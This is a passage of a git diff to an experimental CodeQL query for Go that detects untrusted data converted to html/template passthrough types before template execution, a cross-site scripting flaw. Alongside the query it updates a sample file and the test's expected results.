* output of the templates.
*/
-class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration {
+class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Configuration {
string dstTypeName;
- ConversionFlowToPassthroughTypeConf() {
+ FlowConfFromUntrustedToPassthroughTypeConversion() {
dstTypeName instanceof PassthroughTypeName and
this = "UnsafeConversion" + dstTypeName
}
@@ -64,6 +64,52 @@ class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration {
override predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, dstTypeName) }
}
+/**
+ * Holds if the provided `conversion` node flows into the provided `execSink`.
+ */
+predicate flowsFromConversionToExec(
+ DataFlow::Node conversion, string targetType, DataFlow::PathNode execSink
+) {
+ exists(
+ FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::PathNode source,
+ DataFlow::PathNode execSinkLocal
+ |
+ cfg.hasFlowPath(source, execSinkLocal) and
+ source.getNode() = conversion and
+ execSink.getNode() = execSinkLocal.getNode() and
+ targetType = cfg.getDstTypeName()
+ )
+}
+
+/**
+ * A taint-tracking configuration for reasoning about when the result of a conversion
+ * to a PassthroughType flows to a template execution call.
+ */
+class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking::Configuration {
+ string dstTypeName;
+
+ FlowConfPassthroughTypeConversionToTemplateExecutionCall() {
+ dstTypeName instanceof PassthroughTypeName and
+ this = "UnsafeConversionToExec" + dstTypeName
+ }
+
+ string getDstTypeName() { result = dstTypeName }
+
+ override predicate isSource(DataFlow::Node source) {
+ isSourceConversionToPassthroughType(source, _)
+ }
+
+ predicate isSourceConversionToPassthroughType(DataFlow::TypeCastNode source, string name) {
+ exists(Type typ |
+ typ = source.getResultType() and
+ typ.getUnderlyingType*().hasQualifiedName("html/template", name) and
+ name instanceof PassthroughTypeName
+ )
+ }
+
+ override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
+}
+
/**
* Holds if the sink is a data value argument of a template execution call.
*/
@@ -82,20 +128,46 @@ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) {
* A taint-tracking configuration for reasoning about when an UntrustedFlowSource
* flows into a template executor call.
*/
-class TemplateExecutionFlowConf extends TaintTracking::Configuration {
- TemplateExecutionFlowConf() { this = "TemplateExecutionFlowConf" }
+class FlowConfFromUntrustedToTemplateExecutionCall extends TaintTracking::Configuration {
+ FlowConfFromUntrustedToTemplateExecutionCall() {
+ this = "FlowConfFromUntrustedToTemplateExecutionCall"
+ }
override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
}
+private class DummySource extends UntrustedFlowSource::Range {
+ DummySource() {
+ exists(Function fn, DataFlow::CallNode call | fn.hasQualifiedName(_, "source") |
+ call = fn.getACall() and
+ this = call.getResult()
+ )
+ }
+}
+
+/**
+ * Holds if the provided `conversion` node flows into the provided `execSink`.
+ */
+predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathNode execSink) {
+ exists(FlowConfFromUntrustedToTemplateExecutionCall cfg | cfg.hasFlowPath(untrusted, execSink))
+}
+
from
- TemplateExecutionFlowConf cfg, DataFlow::PathNode untrustedSource,
- DataFlow::PathNode tplExecutionSink, string targetTypeName, DataFlow::PathNode conversionSink
+ DataFlow::PathNode untrustedSource, DataFlow::PathNode tplExecCall, string targetTypeName,
+ DataFlow::PathNode conversionSink
where
- cfg.hasFlowPath(untrustedSource, tplExecutionSink) and
- isConvertedToPassthroughType(untrustedSource.getNode(), targetTypeName, conversionSink)
-select tplExecutionSink.getNode(), untrustedSource, tplExecutionSink,
+ // A = remoteflowsource
+ // B = conversion to PassthroughType
+ // C = template execution
+ // Flows:
+ // A -> B
+ flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversionSink) and
+ // B -> C
+ flowsFromConversionToExec(conversionSink.getNode(), targetTypeName, tplExecCall) and
+ // A -> C
+ flowsFromUntrustedToExec(untrustedSource, tplExecCall)
+select tplExecCall.getNode(), untrustedSource, tplExecCall,
"Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName,
untrustedSource.getNode(), "untrusted source", conversionSink.getNode(), "converted"
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
index 5af85e824aa..3c0a8ad4eb4 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
@@ -9,7 +9,7 @@ import (
func good() {
tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
{ // This will be escaped:
- var caught = source(`link`)
- checkError(tmpl.Execute(os.Stdout, caught))
+ var escaped = source(`link`)
+ checkError(tmpl.Execute(os.Stdout, escaped))
}
}
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
index 5a0447e6fd4..ea27a9e9f78 100644
--- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
@@ -1,80 +1,266 @@
edges
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion |
| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion |
| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion |
| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion |
| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion |
| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion |
| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion |
| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion |
| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:74:16:74:30 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:43 | caught |
nodes
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
+| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
+| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
+| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
+| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
